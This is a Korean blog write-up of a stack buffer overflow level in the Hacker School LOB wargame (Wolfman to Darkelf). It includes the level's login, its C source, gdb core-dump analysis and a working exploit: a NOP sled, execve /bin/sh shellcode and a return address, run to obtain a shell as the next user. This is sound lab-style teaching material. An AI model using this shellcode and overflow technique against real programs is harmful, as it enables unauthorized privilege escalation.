[해커스쿨 LOB] Level6: Wolfman >> Darkelf

두비니

·

2020. 7. 17. 13:13

 

 


Level 6. Wolfman >> Darkelf

Theme: Egghunter + Buffer Hunter + check length of argv[1]


 

 

 

 

 

 

로그인!

id: wolfman
pw: love eyuna

 

 

bash2 잊지 마시고, 코드 분석해봅시다.

[wolfman@localhost wolfman]$ bash2
[wolfman@localhost wolfman]$ nl darkelf.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - darkelf
     4          - egghunter + buffer hunter + check length of argv[1]
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  extern char **environ;

     9  main(int argc, char *argv[])
    10  {
    11          char buffer[40];
    12          int i;

    13          if(argc < 2){
    14                  printf("argv error\n");
    15                  exit(0);
    16          }

    17          // egghunter
    18          for(i=0; environ[i]; i++)
    19                  memset(environ[i], 0, strlen(environ[i]));

    20          if(argv[1][47] != '\xbf')
    21          {
    22                  printf("stack is still your friend.\n");
    23                  exit(0);
    24          }

    25          // check the length of argument
    26          if(strlen(argv[1]) > 48){
    27                  printf("argument is too long!\n");
    28                  exit(0);
    29          }

    30          strcpy(buffer, argv[1]);
    31          printf("%s\n", buffer);

    32          // buffer hunter
    33          memset(buffer, 0, 40);
    34  }

 

제한조건 확인합시다.

1. 환경변수 사용 불가능 (egghunter)

2. 버퍼에 입력 불가능 (buffer hunter)

3. argv[1]의 48번째 바이트는 '\xbf'여야 함 (stack is still your friend)

4. argv[1] 길이 48 초과 불가능 (check the length of argument) *new*

 

 

보니까 4번이 추가됐는데 이러면 ret뒷공간을 더이상 못쓰는거죠?

근데 저는 이전 문제에서도 argv[1] 자체의 주소를 이용해 풀이를 한 터라 똑같이 진행해주면 되겠네요.

 

한번 더 설명을 하자면, buffer에 우리가 입력한 값이 복사되는 이유는 strcpy를 통해 argv[1]에서 buffer에 복사되기 때문입니다. 따라서 buffer는 지워진다한들 argv[1]자체에는 우리가 원래 입력했던 값이 남아있고, buffer의 값만 지워지니 ret에 우리가 원하던 주소는 잘 bof가 일어나 있겠죠. 그럼 payload는 다음과 같이 짤 수 있겠네요.

 

 

::payload::

 

python -c 'print "\x90"*19 + "shellcode" + "argv[1]주소"

 

 

shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

 

argv[1] 주소 구하기

 

그러면 argv[1]의 주소를 구하는 방법을 생각해봅시다.

gdb로 직접 확인하는 방법도 있지만, 그냥 바로 core를 이용하겠습니다.

core 이용하는법:

(링크추가전)

 

[wolfman@localhost wolfman]$ ./larkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xbf\xbf\xbf\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒
Segmentation fault (core dumped)
[wolfman@localhost wolfman]$ gdb -q -c core
Core was generated by `./larkelf ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                                                        ̀▒▒▒▒'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/100x $esp
0xbffffaf0:     0x00000000      0xbffffb34      0xbffffb40      0x40013868
0xbffffb00:     0x00000002      0x08048450      0x00000000      0x08048471
0xbffffb10:     0x08048500      0x00000002      0xbffffb34      0x08048390
0xbffffb20:     0x0804864c      0x4000ae60      0xbffffb2c      0x40013e90
0xbffffb30:     0x00000002      0xbffffc34      0xbffffc3e      0x00000000
0xbffffb40:     0xbffffc6f      0xbffffc81      0xbffffc9a      0xbffffcb9
0xbffffb50:     0xbffffcdb      0xbffffce8      0xbffffeab      0xbffffeca
0xbffffb60:     0xbffffee7      0xbffffefc      0xbfffff1b      0xbfffff26
0xbffffb70:     0xbfffff36      0xbfffff3e      0xbfffff48      0xbfffff58
0xbffffb80:     0xbfffff66      0xbfffff74      0xbfffff85      0xbfffff90
0xbffffb90:     0xbfffffa3      0xbfffffe6      0x00000000      0x00000003
0xbffffba0:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffbb0:     0x00000006      0x00000006      0x00001000      0x00000007
0xbffffbc0:     0x40000000      0x00000008      0x00000000      0x00000009
0xbffffbd0:     0x08048450      0x0000000b      0x000001f9      0x0000000c
0xbffffbe0:     0x000001f9      0x0000000d      0x000001f9      0x0000000e
0xbffffbf0:     0x000001f9      0x00000010      0x0fabfbff      0x0000000f
0xbffffc00:     0xbffffc2f      0x00000000      0x00000000      0x00000000
0xbffffc10:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc20:     0x00000000      0x00000000      0x00000000      0x69000000
0xbffffc30:     0x00363836      0x616c2f2e      0x6c656b72      0x90900066
0xbffffc40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc50:     0x50c03190      0x732f2f68      0x622f6868      0xe3896e69
---Type <return> to continue, or q <return> to quit---
0xbffffc60:     0xe1895350      0x0bb0c289      0xbfbf80cd      0x0000bfbf
0xbffffc70:     0x00000000      0x00000000      0x00000000      0x00000000

 

보면 0xbffffc30에서부터 0x90이 시작되는걸로 보아 여기가 argv[1]의 시작점인걸 알 수 있다.

넉넉잡아 0xbffffc40을 리턴주소로 잡자.

 

그럼 페이로드는 다음과 같다

 

::payload::

./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x40\xfc\xff\xbf"'`

 

[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x40\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀@▒▒▒
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed

 

 

깔끔!

이제 대충 개념도 잡히고 문제풀이도 계속 반복되기때문에 재미가 슬슬 붙을텐데

익숙해진다면 다른 방법도 생각해보는게 좋을 것 같네요.

다음문제부터는 다른 개념을 들고가니 정리 잘 하고 오시길 바랍니다.

다음!

 

 

***아니 나 분명히 맞게 했는데 안될 때(Stack is still your friend):https://dokhakdubini.tistory.com/208***

 

[PuTTY/LOB] "Stack is still your friend"; 분명 맞는 페이로드를 짰는데 틀렸을 때

LOB를 풀다보면 Segmentation Fault도 아니고 "stack is still your friend"가 뜰 때가 있다. 결론부터 얘기하면 bash2입력하세요. 자 갈길갈사람들은 가시고 "왜?"가 궁금하신 분들은 나머지 글을 읽읍시다. 아..

dokhakdubini.tistory.com